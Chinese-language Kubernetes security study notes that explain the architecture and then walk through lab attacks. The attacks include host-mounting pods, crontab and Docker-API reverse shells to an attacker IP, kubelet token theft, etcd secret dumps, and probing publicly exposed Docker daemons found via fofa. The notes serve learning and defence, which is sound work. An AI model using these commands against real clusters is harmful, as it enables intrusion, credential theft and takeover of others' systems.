K8S安全学习

k8s安全学习

一、云

云的定义看似模糊,但本质上,它是一个用于描述全球服务器网络的术语,每个服务器都有一个独特的功能。云不是一个物理实体,而是一个庞大的全球远程服务器网络,它们连接在一起,旨在作为单一的生态系统运行。这些服务器设计用于存储和管理数据、运行应用程序,或者交付内容/服务(如视频短片、Web 邮件、办公室生产力软件或社交媒体)。不是从本地或个人计算机访问文件和数据,而是通过任何支持 Internet 的设备在线访问 - 这些信息在必要时随时随地可用。

企业采用 4 种不同的方法部署云资源。存在一个公有云,它通过 Internet 共享资源并向公众提供服务;一个私有云,它不进行共享且经由通常本地托管的私有内部网络提供服务;一个混合云,它根据其目的在公有云和私有云之间共享服务;以及一个社区云,它仅在组织之间(例如与政府机构)共享资源。

《云是什么- 定义 - Microsoft Azure》

二、何为k8s

k8s即Kubernetes。
其为google开发来被用于容器管理的开源应用程序,可帮助创建和管理应用程序的容器化。
用一个的例子来描述:”当虚拟化容器Docker有太多要管理的时候,手动管理就会很麻烦,于是我们便可以通过k8s来简化我们的管理”

0x00 K8S 架构简述

我们在上文已经知道,K8S是用于管理虚拟化容器的一个应用系统,在这小节中会着重讲述K8S的架构、实现原理。

下图为K8S架构的概览:

kubectl 是 k8s 的客户端工具,可以使用命令行管理集群

k8s主要由较少的master节点以及其对应的多个Node节点组成。master用于对Node节点进行控制管理,一个k8s集群中至少要有一台master节点。

Master节点中包含很多的组件,主要为如下

etcd
它存储集群中每个节点可以使用的配置信息。它是一个高可用性键值存储,可以在多个节点之间分布。只有Kubernetes API服务器可以访问它,因为它可能具有一些敏感信息。这是一个分布式键值存储,所有人都可以访问。 简而言之:存储节点信息

API server
Kubernetes是一个API服务器,它使用API在集群上提供所有操作。API服务器实现了一个接口,这意味着不同的工具和库可以轻松地与其进行通信。Kubeconfig是与可用于通信的服务器端工具一起的软件包。它公开Kubernetes API 。简而言之:读取与解析请求指令的中枢

Controller Manage
该组件负责调节群集状态并执行任务的大多数收集器。通常,可以将其视为在非终止循环中运行的守护程序,该守护程序负责收集信息并将其发送到API服务器。它致力于获取群集的共享状态,然后进行更改以使服务器的当前状态达到所需状态。关键控制器是复制控制器,端点控制器,名称空间控制器和服务帐户控制器。控制器管理器运行不同类型的控制器来处理节点,端点等。 简而言之:维护k8s资源

Scheduler
这是Kubernetes master的关键组件之一。它是主服务器中负责分配工作负载的服务。它负责跟踪群集节点上工作负载的利用率,然后将工作负载放在可用资源上并接受该工作负载。换句话说,这是负责将Pod分配给可用节点的机制。调度程序负责工作负载利用率,并将Pod分配给新节点。 简而言之:负载均衡调度器

Node节点也包含了很多组件,主要如下

Docker
Docker引擎,运行着容器的基础环境

kubelet
在每个node节点都存在一份,主要来执行关于资源操作的指令,负责pod的维护。

kube-proxy
代理服务,用于负载均衡,在多个pod之间做负载均衡

fluentd :
日志收集服务

pod :
pod是k8s的最小服务单元,pod内部才是容器,k8s通过操作pod来操作容器。一个Node节点可以有多个Pod

Pod可以说是Node节点中最核心的部分,Pod也是一个容器,它是一个”用来封装容器的容器”。一个Pod中往往会装载多个容器,这些容器共用一个虚拟环境,共享着网络和存储等资源。

这些容器的资源共享以及相互交互都是由pod里面的pause容器来完成的,每初始化一个pod时便会生成一个pause容器。

0x01 K8S工作流程

用户端命令下发通常流程如下:

  1. kubectl向apiserver发送部署请求(例如使用 kubectl create -f deployment.yml)
  2. apiserver将 Deployment 持久化到etcd;etcd与apiserver进行一次http通信。
  3. controller manager通过watch api监听 apiserver ,deployment controller看到了一个新创建的deplayment对象更后,将其从队列中拉出,根据deployment的描述创建一个ReplicaSet并将 ReplicaSet 对象返回apiserver并持久化回etcd。
  4. 接着scheduler调度器看到未调度的pod对象,根据调度规则选择一个可调度的节点,加载到pod描述中nodeName字段,并将pod对象返回apiserver并写入etcd。
  5. kubelet在看到有pod对象中nodeName字段属于本节点,将其从队列中拉出,通过容器运行时创建pod中描述的容器。

image-20230310110823247

0x02 搭建K8S

见《K8S环境搭建.md》

0x03 k8S的基础概念

https://kuboard.cn/learning/(非常好的中文教程)

https://kubernetes.io/zh/docs/tutorials/kubernetes-basics/(k8s官方教程,有交互式操作界面,稍微有点不好的是有些地方没有中文)

以下内容来自https://kuboard.cn/learning/k8s-basics/kubernetes-basics.html

部署(Deployment)

Worker节点(即Node)是VM(虚拟机)或物理计算机,充当k8s集群中的工作计算机

Deployment 译名为 部署。在k8s中,通过发布 Deployment,可以创建应用程序 (docker image) 的实例 (docker container),这个实例会被包含在称为 Pod 的概念中,Pod 是 k8s 中最小可管理单元。

在 k8s 集群中发布 Deployment 后,Deployment 将指示 k8s 如何创建和更新应用程序的实例,master 节点将应用程序实例调度到集群中的具体的节点上。

创建应用程序实例后,Kubernetes Deployment Controller 会持续监控这些实例。如果运行实例的 worker 节点关机或被删除,则 Kubernetes Deployment Controller 将在群集中资源最优的另一个 worker 节点上重新创建一个新的实例。这提供了一种自我修复机制来解决机器故障或维护问题。

在容器编排之前的时代,各种安装脚本通常用于启动应用程序,但是不能够使应用程序从机器故障中恢复。通过创建应用程序实例并确保它们在集群节点中的运行实例个数,Kubernetes Deployment 提供了一种完全不同的方式来管理应用程序。

相关命令:

kubectl 是 k8s 的客户端工具,可以使用命令行管理集群

kubectl备忘录:https://kubernetes.io/zh-cn/docs/reference/kubectl/cheatsheet/

# 查看 Deployment
kubectl get deployments

# 查看 Pod
kubectl get pods

#根据yaml文件部署
kubectl apply -f nginx-deployment.yaml

一个yaml文件差不多就长这样: (nginx-deployment.yaml)

apiVersion: apps/v1  #与k8s集群版本有关,使用 kubectl api-versions 即可查看当前集群支持的版本kind: Deployment  #该配置的类型,我们使用的是 Deployment
metadata:          #译名为元数据,即 Deployment 的一些基本属性和信息
	name: nginx-deployment  #Deployment 的名称
    labels:      #标签,可以灵活定位一个或多个资源,其中key和value均可自定义,可以定义多组,目前不需要理解
    	app: nginx  #为该Deployment设置key为app,value为nginx的标签
spec:          #这是关于该Deployment的描述,可以理解为你期待该Deployment在k8s中如何使用  			replicas: 1  #使用该Deployment创建一个应用程序实例
	selector:      #标签选择器,与上面的标签共同作用,目前不需要理解
		matchLabels: #选择包含标签app:nginx的资源
			app: nginx  
	template:      #这是选择或创建的Pod的模板
		metadata:  #Pod的元数据
			labels:  #Pod的标签,上面的selector即选择包含标签app:nginx的Pod
				app: nginx    
		spec:      #期望Pod实现的功能(即在pod中部署)      
			containers:  #生成container,与docker中的container是同一种
			  - name: nginx  #container的名称
			  	image: nginx:1.7.9  #使用镜像nginx:1.7.9创建container,该container默认80端口可访问

POD与Node

Pod 容器组 是一个k8s中一个抽象的概念,用于存放一组 container(可包含一个或多个 container 容器,即图上正方体),以及这些 container (容器)的一些共享资源。这些资源包括:

  • 共享存储,称为卷(Volumes),即图上紫色圆柱
  • 网络,每个 Pod(容器组)在集群中有个唯一的 IP,pod(容器组)中的 container(容器)共享该IP地址
  • container(容器)的基本信息,例如容器的镜像版本,对外暴露的端口等

POD是集群上最基础的单元

下图中的一个 Node(节点)上含有4个 Pod(容器组)

Pod(容器组)总是在 Node(节点) 上运行。Node(节点)是 kubernetes 集群中的计算机,可以是虚拟机或物理机。每个 Node(节点)都由 master 管理。一个 Node(节点)可以有多个Pod(容器组),kubernetes master 会根据每个 Node(节点)上可用资源的情况,自动调度 Pod(容器组)到最佳的 Node(节点)上。

一个Node节点的状态大致有以下的东西

  • Addresses :地址

  • Conditions :状况(conditions 字段描述了所有 Running 节点的状态)

  • Capacity and Allocatable :容量与可分配,描述节点上的可用资源:CPU、内存和可以调度到节点上的 Pod 的个数上限。

  • Info :关于节点的一般性信息,例如内核版本、Kubernetes 版本(kubelet 和 kube-proxy 版本)、 Docker 版本(如果使用了)和操作系统名称。这些信息由 kubelet 从节点上搜集而来。

  • HostName:由节点的内核设置。可以通过 kubelet 的 —hostname-override 参数覆盖。

  • ExternalIP:通常是节点的可外部路由(从集群外可访问)的 IP 地址。

  • InternalIP:通常是节点的仅可在集群内部路由的 IP 地址。

  • Ready 如节点是健康的并已经准备好接收 Pod 则为 True;False 表示节点不健康而且不能接收 Pod;Unknown 表示节点控制器在最近 node-monitor-grace-period 期间(默认 40 秒)没有收到节点的消息

  • DiskPressure为True则表示节点的空闲空间不足以用于添加新 Pod, 否则为 False

  • MemoryPressure为True则表示节点存在内存压力,即节点内存可用量低,否则为 False

  • PIDPressure为True则表示节点存在进程压力,即节点上进程过多;否则为 False

  • NetworkUnavailable为True则表示节点网络配置不正确;否则为 False

    相关命令:

    #获取类型为Pod的资源列表
    kubectl get pods
    
    #获取类型为Node的资源列表
    kubectl get nodes
    
    # kubectl describe 资源类型 资源名称
    
    #查看名称为nginx-XXXXXX的Pod的信息
    kubectl describe pod nginx-XXXXXX 
    
    #查看名称为nginx的Deployment的信息
    kubectl describe deployment nginx
    
    #查看名称为nginx-pod-XXXXXXX的Pod内的容器打印的日志
    kubectl logs -f podname
    
    #在Pod中运行命令
    kubectl exec -it nginx-pod-xxxxxx /bin/bash
    

服务(Service)

https://kuboard.cn/learning/k8s-basics/expose.html#kubernetes-service-服务-概述

通过以上内容我们知道,应用程序所在的Pod是一直变动着的,而每个Pod的ip又不一样,但是对于前端用户来说,应用程序的访问地址应该是唯一的才行。

因此k8s提供了一个机制用来为前端屏蔽后端Pod变动带来的IP变动,这便是Service

Service为一系列有相同特征的Pod(一个应用的Pod在不停变换,但是不论怎么变换这些Pod都有相同的特征)定义了一个统一的访问方式,

Service是通过标签选择器(LabelSelector)来识别有哪些Pod有相同特征(带有特定Lable标签的POD,Lable可以由用户设置,标签存在于所有K8S对象上并不仅仅局限于Pod) 可以编成一个容器组的。

Service有三种选项暴露应用程序的入口,可以通过设置应用程序配置文件中的Service 项的spec.type 值来调整:

  • ClusterIP(默认)

    在群集中的内部IP上公布服务,这种方式的 Service(服务)只在集群内部可以访问到

  • NodePort

​ 使用 NAT 在集群中每个的同一端口上公布服务。这种方式下,可以通过访问集群中任意节点+端口号的方式访 问服务 <NodeIP>:<NodePort>。此时 ClusterIP 的访问方式仍然可用。

  • LoadBalancer

​ 在云环境中(需要云供应商可以支持)创建一个集群外部的负载均衡器,并为使用该负载均衡器的 IP 地址作为 服务的访问地址。此时 ClusterIP 和 NodePort 的访问方式仍然可用。

下图中有两个服务Service A(黄色虚线)和Service B(蓝色虚线) Service A 将请求转发到 IP 为 10.10.10.1 的Pod上, Service B 将请求转发到 IP 为 10.10.10.2、10.10.10.3、10.10.10.4 的Pod上。

Service 将外部请求路由到一组 Pod 中,它提供了一个抽象层,使得 Kubernetes 可以在不影响服务调用者的情况下,动态调度容器组(在容器组失效后重新创建容器组,增加或者减少同一个 Deployment 对应容器组的数量等)。

在每个节点上都有Kube-proxy服务,Service使用其将链接路由到Pod

伸缩(Scaling)应用程序

可以通过更改deployment配置文件中的replicas项来设置开启的POD数量

在前面,我们创建了一个 Deployment,然后通过 服务提供访问 Pod 的方式。我们发布的 Deployment 只创建了一个 Pod 来运行我们的应用程序。当流量增多导致应用程序POD负载加重后,我们需要对应用程序进行伸缩操作,增加POD数量来减轻负担,访问流量将会通过负载均衡在多个POD之间转发。

伸缩 的实现可以通过更改 nginx-deployment.yaml 文件中部署的 replicas(副本数)来完成

spec:
  replicas: 2    #使用该Deployment创建两个应用程序实例

执行滚动更新(Rolling Update)

当我们想对已经部署的程序进行升级更新,但又不想让程序停止,就可以使用滚动更新来实现。

滚动更新通过使用新版本的POD逐步替代旧版本POD来实现零停机更新

滚动更新是K8S默认的更新方式

0x04 k8s用户

Kubernetes 集群中包含两类用户:一类是由 Kubernetes管理的service account,另一类是普通用户。

  • service account 是由 Kubernetes API管理的账户。它们都绑定到了特定的 namespace,并由 API server 自动创建,或者通过 API 调用手动创建。Service account 关联了一套凭证,存储在 Secret,这些凭证同时被挂载到 pod 中,从而允许 pod 与 kubernetes API 之间的调用。(service account的利用见k8s安全部分)
  • Use Account(用户账号):一般是指由独立于Kubernetes之外的其他服务管理的用户账号,例如由管理员分发的密钥、Keystone一类的用户存储(账号库)、甚至是包 含有用户名和密码列表的文件等。Kubernetes中不存在表示此类用户账号的对象, 因此不能被直接添加进 Kubernetes 系统中 。

0x05 k8s访问控制过程(安全机制)

详细内容参考笔记《k8s访问控制过程(安全机制).md》

k8s 中所有的 api 请求都要通过一个 gateway 也就是 apiserver 组件来实现,是集群唯一的访问入口。主要实现的功能就是api 的认证 + 鉴权以及准入控制。

image-20230302182010602

三种机制:

  • 认证:Authentication,即身份认证。检查用户是否为合法用户,如客户端证书、密码、bootstrap tookens和JWT tokens等方式。
  • 鉴权:Authorization,即权限判断。判断该用户是否具有该操作的权限,k8s 中支持 Node、RBAC(Role-Based Access Control)、ABAC、webhook等机制,RBAC 为主流方式
  • 准入控制:Admission Control。请求的最后一个步骤,一般用于拓展功能,如检查 pod 的resource是否配置,yaml配置的安全是否合规等。一般使用admission webhooks来实现

注意:认证授权过程只存在HTTPS形式的API中。也就是说,如果客户端使用HTTP连接到kube-apiserver,是不会进行认证授权

k8s认证

X509 client certs

客户端证书认证,X509 是一种数字证书的格式标准,是 kubernetes 中默认开启使用最多的一种,也是最安全的一种。api-server 启动时会指定 ca 证书以及 ca 私钥,只要是通过同一个 ca 签发的客户端 x509 证书,则认为是可信的客户端,kubeadm 安装集群时就是基于证书的认证方式。

user 生成 kubeconfig就是X509 client certs方式。

Service Account Tokens

因为基于x509的认证方式相对比较复杂,不适用于k8s集群内部pod的管理。Service Account Tokens是 service account 使用的认证方式。定义一个 pod 应该拥有什么权限。一个 pod 与一个服务账户相关联,该服务账户的凭证(token)被放入该pod中每个容器的文件系统树中,位于/var/run/secrets/kubernetes.io/serviceaccount/token

service account 主要包含了三个内容:namespace、token 和 ca

  • namespace: 指定了 pod 所在的 namespace
  • token: token 用作身份验证
  • ca: ca 用于验证 apiserver 的证书

k8s鉴权

K8S 目前支持了如下四种授权机制:

  • Node
  • ABAC
  • RBAC
  • Webhook

具体到授权模式其实有六种:

  • 基于属性的访问控制(ABAC)模式允许你 使用本地文件配置策略。
  • 基于角色的访问控制(RBAC)模式允许你使用 Kubernetes API 创建和存储策略。
  • WebHook 是一种 HTTP 回调模式,允许你使用远程 REST 端点管理鉴权。
  • node节点鉴权是一种特殊用途的鉴权模式,专门对 kubelet 发出的 API 请求执行鉴权。
  • AlwaysDeny阻止所有请求。仅将此标志用于测试。
  • AlwaysAllow允许所有请求。仅在你不需要 API 请求 的鉴权时才使用此标志。

可以选择多个鉴权模块。模块按顺序检查,以便较靠前的模块具有更高的优先级来允许 或拒绝请求。

从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能。

三、K8S攻击矩阵

CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。

https://github.com/cdk-team/CDK

下图是K8S的一些攻击矩阵

本文就围绕着这个框架,叙述一些有用的攻击手法吧

0x00 k8s环境中的信息收集

信息收集与我们的攻击场景或者说进入的内网的起点分不开。一般来说内网不会完全基于容器技术进行构建。所以起点一般可以分为权限受限的容器和物理主机内网。

在K8s内部集群网络主要依靠网络插件,目前使用比较多的主要是Flannel和Calico

主要存在4种类型的通信:

  • 同一Pod内的容器间通信
  • 各Pod彼此间通信
  • Pod与Service间的通信
  • 集群外部的流量与Service间的通信

当我们起点是一个在k8s集群内部权限受限的容器时,和常规内网渗透区别不大,上传端口扫描工具探测即可。

k8s常用端口

在k8s环境中,内网探测可以高度关注的端口: (各端口的渗透在下面会展开)

kube-apiserver: 6443, 8080
kubectl proxy: 8080, 8081
kubelet: 10250, 10255, 4149
dashboard: 30000
docker api: 2375
etcd: 2379, 2380
kube-controller-manager: 10252
kube-proxy: 10256, 31442
kube-scheduler: 10251
weave: 6781, 6782, 6783
kubeflow-dashboard: 8080

0x01 初始访问

1、云账号AK泄露

在如今的云的大环境下,许多业务代码想要与云服务进行通信,就需要通过accesskey这个东西进行鉴权,鉴权通过后才能与云服务进行通信。
通俗来讲,人想要访问一个服务,往往需要提供密码来进行身份验证;而代码想要访问一个云服务API,则需要提供accesskey来进行身份验证。
如果accesskey泄露了,我们便可以利用这个accesskey来与云服务通信,反弹个云主机的shell回来作为入口点慢慢往内打。

下面文章是关于云原生安全中accesskey安全更加详细的论述,阅读后可以对accesskey的概念有更深入的了解。

https://www.freebuf.com/articles/web/287512.html

https://www.freebuf.com/articles/web/255717.html

2、恶意镜像

在docker中,容器的建立依赖于镜像,如果pull得到的镜像是一个恶意镜像,或者pull得到的镜像本身就存在安全漏洞,便会带来安全风险

下图便是dockerhub上部署挖矿软件的恶意镜像,它会从github上下载恶意挖矿软件进行挖矿

3、API Server未授权(8080,6443)

属于是K8S中的经典漏洞了

回顾一下API Server的作用,它在集群中被用于提供API来控制集群内部,如果我们能控制API Server,就意味着我们可以通过它利用kubectl创建Pod并使用磁盘挂载技术获取Node节点控制权(关于磁盘挂载获取节点shell的技术在后面的小节中再进行详细论述)。

API Server可以在两个端口上提供了对外服务:8080(insecure-port,非安全端口)和6443(secure-port,安全端口),其中8080端口提供HTTP服务且无需身份认证,6443端口提供HTTPS服务且支持身份认证(8080和6443端口并不是固定的,是通过配置文件来控制的)。

insecure-port 开启

API Server在8080端口上开放的服务应该是用于测试,但如果其在生存环境中被暴露出来,攻击者便可以利用此端口进行对集群的攻击。

但是利用API Server的8080端口进行未授权活动的前提条件略显苛刻(配置失当+版本较低),8080端口服务是默认不启动的,但如果用户在 /etc/kubernets/manifests/kube-apiserver.yaml 中有 --insecure-port=8080配置项,那就启动了非安全端口,有了安全风险。

注:1.20版本后该选项已无效化

环境前提:

step1:进入cd /etc/kubernetes/manifests/
step2: 修改api-kube.conf
	添加- -–insecure-port=8080
	添加- -–insecure-bind-address=0.0.0.0

Kubelet 会监听该文件的变化,当您修改了 /etc/kubernetes/manifests/kube-apiserver.yaml 文件之后,kubelet 将自动终止原有的 kube-apiserver-{nodename} 的 Pod,并自动创建一个使用了新配置参数的 Pod 作为替代

重启服务

systemctl daemon-reload
systemctl restart kubelet

在实际环境中,因为8080端口相对比较常见,导致在内部排查常常忽略这个风险点。

利用

环境信息:

一个集群包含三个节点,其中包括一个控制节点和两个工作节点

  • K8s-master 192.168.11.152
  • K8s-node1 192.168.11.153
  • K8s-node2 192.168.11.160

攻击机kali

  • 192.168.11.128

直接访问 8080 端口会返回可用的 API 列表:

image-20230302182036730

使用kubectl可以指定IP和端口调用存在未授权漏洞的API Server。

如果没有kubectl,需要安装kubectl,安装可以参考官网文档:

使用kubectl获取集群信息:

kubectl -s ip:port get nodes

image-20230302183102595

注:如果你的kubectl版本比服务器的高,会出现错误,需要把kubectl的版本降低.

接着在本机上新建个yaml文件用于创建容器,并将节点的根目录挂载到容器的 /mnt 目录,内容如下:

apiVersion: v1
kind: Pod
metadata:
  name: test
spec:
  containers:
  - image: nginx
    name: test-container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

然后使用 kubectl 创建容器,这个时候我们发现是无法指定在哪个节点上创建pod。

kubectl -s 192.168.11.152:8080 create -f test.yaml
kubectl -s 192.168.11.152:8080 --namespace=default exec -it test bash

image-20230302183245595
写入反弹 shell 的定时任务

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.11.128/4444 0>&1\n" >> /mnt/etc/crontab

稍等一会获得node02节点权限:

image-20230302183259972
或者也可以通过写公私钥的方式控制宿主机。

如果apiserver配置了dashboard的话,可以直接通过ui界面创建pod。

secure-port 配置错误

若我们不带任何凭证的访问 API server的 secure-port端口,默认会被服务器标记为system:anonymous用户。

一般来说system:anonymous用户权限是很低的,但是如果运维人员管理失当,把system:anonymous用户绑定到了cluster-admin用户组,那么就意味着secure-port允许匿名用户以管理员权限向集群下达命令。(也就是secure-port变成某种意义上的insecure-port了)

利用

方法一

kubectl -s https://192.168.111.20:6443/ --insecure-skip-tls-verify=true get nodes

#(192.168.111.20:6443 是master节点上apiserver的secure-port)然后提示输入账户密码,随便乱输就行

正常情况应该是这样

但如果secure-port 配置失当出现了未授权,就会这样

方法二

利用cdk工具通过"system:anonymous"匿名账号尝试登录

./cdk kcurl anonymous get "https://192.168.11.152:6443/api/v1/nodes"

image-20230302184225050

创建特权容器:

image-20230302184241263image-20230302184250336

之后的攻击方式和上面是一样的

4、k8s configfile 泄露

k8s configfile配置文件中可能会有api-server登陆凭证等敏感信息,如果获取到了集群configfile内容(如泄露在github),将会对集群内部安全造成巨大影响。

这里引用阿里云社区的一张图

5、容器内部应用漏洞入侵

顾名思义,容器内部应用就有问题(比如内部应用是tomcat,且有RCE漏洞),从而就会导致黑客获取Pod shell,拿到入口点

6、docker.sock 利用

Docker以server-client的形式工作,服务端叫Docker daemon,客户端叫docker client。
Docker daemon想调用docker指令,就需要通过docker.sock这个文件向docker client进行通讯。换句话说,Docker daemon通过docker.sock这个文件去管理docker容器(如创建容器,容器内执行命令,查询容器状态等)。
同时,Docker daemon也可以通过配置将docker.sock暴露在端口上,一般情况下2375端口用于未认证的HTTP通信,2376用于可信的HTTPS通信。

公网暴露(2375)(Docker Daemon)

如果docker daemon 2375端口暴露在了公网上,那么便可以直接利用该端口控制docker容器,并通过新建容器配合磁盘挂载技术获取宿主机权限。

fofa搜索

server="Docker" && port="2375"

可以发现有很多暴露在公网的docker.sock,

我们选一个来试试水

可以发现是成功的调用了API查询了容器状态

然后我们可以通过如下指令,在指定容器内部执行命令

curl -X POST "http://ip:2375/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'

获取到一个id

然后请求这个id,执行此命令

curl -X POST "http://ip:2375/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"

就像这样:(图片引用自freebuf)

直接利用现成的docker.sock

如果我们入侵了一个docker容器,这个docker容器里面有docker.sock(常用路径/var/run/docker.sock),那么就可以直接利用此文件控制docker daemon。

把上一小节的命令改改就行,加一个—unix-socket参数。

curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'

curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"

一般来说docker.sock是存在于docker daemon服务端的,但如果开发人员想在docker容器里运行docker命令,就需要把宿主机的docker.sock挂载到容器内部了,这就给了我们docker逃逸的可乘之机。

实战案例

Docker Daemon未授权访问的检测与利用:

#探测是否访问未授权访问
curl http://192.168.238.129:2375/info
docker -H tcp://192.168.238.129:2375 info


#推荐使用这种方式,操作方便。
export DOCKER_HOST="tcp://192.168.238.129:2375" 

Docker Daemon未授权实战案例:

image-20230306171151693

7、kubelet 未授权(10250/10255)

危害:

  • 可以直接控制该node下的所有pod
  • 检索寻找特权容器,获取 Token
  • 如果能够从pod获取高权限的token,则可以直接接管集群。

kubelet和kubectl的区别?

kubelet是在Node上用于管理本机Pod的,kubectl是用于管理集群的。kubectl向集群下达指令,Node上的kubelet收到指令后以此来管理本机Pod。

Kubelet API 一般监听在2个端口:10250、10255。其中,10250端口是可读写的,10255是一个只读端口。

kubelet对应的API端口默认在10250,运行在集群中每台Node上,kubelet 的配置文件在node上的/var/lib/kubelet/config.yaml
我们重点关注配置文件中的这两个选项:第一个选项用于设置kubelet api能否被匿名访问,第二个选项用于设置kubelet api访问是否需要经过Api server进行授权(这样即使匿名⽤户能够访问也不具备任何权限)。

在默认情况下,kubelet配置文件就如上图所示,我们直接访问kubelet对应API端口会显示认证不通过

我们将配置文件中,authentication-anonymous-enabled改为true,authorization-mode改为AlwaysAllow,再使用命令systemctl restart kubelet 重启kubelet,那么就可以实现kubelet未授权访问

关于authorization-mode还有以下的配置:

--authorization-mode=ABAC 基于属性的访问控制(ABAC)模式允许你 使用本地文件配置策略。
--authorization-mode=RBAC 基于角色的访问控制(RBAC)模式允许你使用 Kubernetes API 创建和存储策略。
--authorization-mode=Webhook WebHook 是一种 HTTP 回调模式,允许你使用远程 REST 端点管理鉴权。
--authorization-mode=Node 节点鉴权是一种特殊用途的鉴权模式,专门对 kubelet 发出的 API 请求执行鉴权。
--authorization-mode=AlwaysDeny 该标志阻止所有请求。仅将此标志用于测试。
--authorization-mode=AlwaysAllow 此标志允许所有请求。仅在你不需要 API 请求 的鉴权时才使用此标志。

在我们发现kubelet未授权后,可以进行以下操作拿到入口点

执行Pod内命令

如果有kubelet未授权,那就可以用以下命令在Pod内执行命令

curl -XPOST -k https://node_ip:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=command"

其中的参数可以从https://node_ip:10250/pods 中获取

  • metadata.namespace 下的值为 namespace
  • metadata.name下的值为 pod_name
  • spec.containers下的 name 值为 container_name

可以直接回显命令结果,很方便

获取容器内service account凭据

如果能在Pod内执行命令,那么就可以获取Pod里service account的凭据,使用Pod上的service account凭据可以用来模拟Pod上的服务账户进行操作,具体利用方法见下面的小节:[利用Service Account连接API Server执行指令](#利用Service Account连接API Server执行指令)

利用示例

环境信息:

一个集群包含三个节点,其中包括一个控制节点和两个工作节点

  • K8s-master 192.168.11.152
  • K8s-node1 192.168.11.153
  • K8s-node2 192.168.11.160

攻击机kali

  • 192.168.11.128

访问https://192.168.11.160:10250/pods,出现如下数据表示可以利用:

image-20230303111516293

想要在容器里执行命令的话,我们需要首先确定namespace、pod_name、container_name这几个参数来确认容器的位置。

  • metadata.namespace 下的值为 namespace
  • metadata.name下的值为 pod_name
  • spec.containers下的 name 值为 container_name

image-20230303111610244

这里可以通过检索securityContext字段快速找到特权容器

image-20230303111638301

在对应的容器里执行命令,获取 Token,该token可用于Kubernetes API认证,Kubernetes默认使用RBAC鉴权(当使用kubectl命令时其实是底层通过证书认证的方式调用Kubernetes API)

token 默认保存在pod 里的/var/run/secrets/kubernetes.io/serviceaccount/token

curl -k -XPOST "https://192.168.11.160:10250/run/kube-system/kube-flannel-ds-dsltf/kube-flannel" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

image-20230303112126339

如果挂载到集群内的token具有创建pod的权限,可以通过token访问集群的api创建特权容器,然后通过特权容器逃逸到宿主机,从而拥有集群节点的权限

kubectl --insecure-skip-tls-verify=true --server="https://192.168.11.152:6443" --token="eyJhb....." get pods

image-20230303112300889

接下来便是通过创建pod来挂载目录,然后用crontab来获得shell了 。

8、etcd 未授权(2379)

etcd是k8s集群中的数据库组件,默认监听在2379端口,默认通过证书认证,主要存放节点的信息,如一些token和证书。如果2379存在未授权,那么就可以通过etcd查询集群内管理员的token,然后用这个token访问api server接管集群。

etcd有v2和v3两个版本,k8s用的是v3版本,所以我们在访问etcd的时候需要用命令ETCDCTL_API=3来指定etcd版本。

我们想要利用etcd未授权,需要使用一个工具叫做etcdctl,它是用来管理etcd数据库的,我们可以在github上下载它

https://github.com/etcd-io/etcd/releases/

“在启动etcd时,如果没有指定 –client-cert-auth 参数打开证书校验,并且没有通过iptables / 防火墙等实施访问控制,etcd的接口和数据就会直接暴露给外部黑客”——爱奇艺安全应急响应中心

利用

下载etcd:https://github.com/etcd-io/etcd/releases

解压后在命令行中进入etcd目录下。

etcdctl api版本切换:

export ETCDCTL_API=2
export ETCDCTL_API=3

探测是否存在未授权访问的Client API

etcdctl --endpoints=https://172.16.0.112:2379 get / --prefix --keys-only

如果我们在没有证书文件的前提下直接访问2375端口,是调用不了etcd应用的,会提示X509证书错误。

image-20230303133734974

我们需要将以下文件加入环境变量(ca,key,cert)才能访问(如果有未授权,那么不用带证书都能访问)

export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt
export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key

或者直接执行:

etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://172.16.0.112:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health
查询管理员token

我们可以直接在etcd里查询管理员的token,然后使用该token配合kubectl指令接管集群。

etcdctl --endpoints=https://etcd_ip:2375/ get / --prefix --keys-only | grep /secrets/

如果查询结果有敏感账户,我们便可以去获取他的token

etdctl --endpoints=https://etcd_ip:2375/ get /registry/secrets/default/admin-token-55712

拿到token以后,用kubectl接管集群

kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" get nodes

kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" -n kube-system get pods

也可以尝试dump etcd数据库,然后去找敏感信息

ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only

如果服务器启用了https,需要加上两个参数忽略证书校验 --insecure-transport --insecure-skip-tls-verify

ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only

9、私有镜像库暴露

举个例子,如果一个企业它的许多云上应用都是用的自建的私有镜像搭建的,有一天它私有镜像泄露出来了,我们就可以通过审计等手段去挖掘私有镜像中的漏洞,造成供应链打击。

10、Dashboard面板爆破

dashboard是Kubernetes官方推出的控制Kubernetes的图形化界面.在Kubernetes配置不当导致dashboard未授权访问漏洞的情况下,通过dashboard我们可以控制整个集群。

  • 用户开启了enable-skip-login时可以在登录界面点击Skip跳过登录进入dashboard.
  • 为Kubernetes-dashboard绑定cluster-admin(cluster-admin拥有管理集群的最高权限).

利用

默认配置登陆是需要输入 Token 的且不能跳过

image-20230303140908835

但是如果在配置参数中添加了如下参数,那么在登陆的过程中就可以进行跳过 Token 输入环节

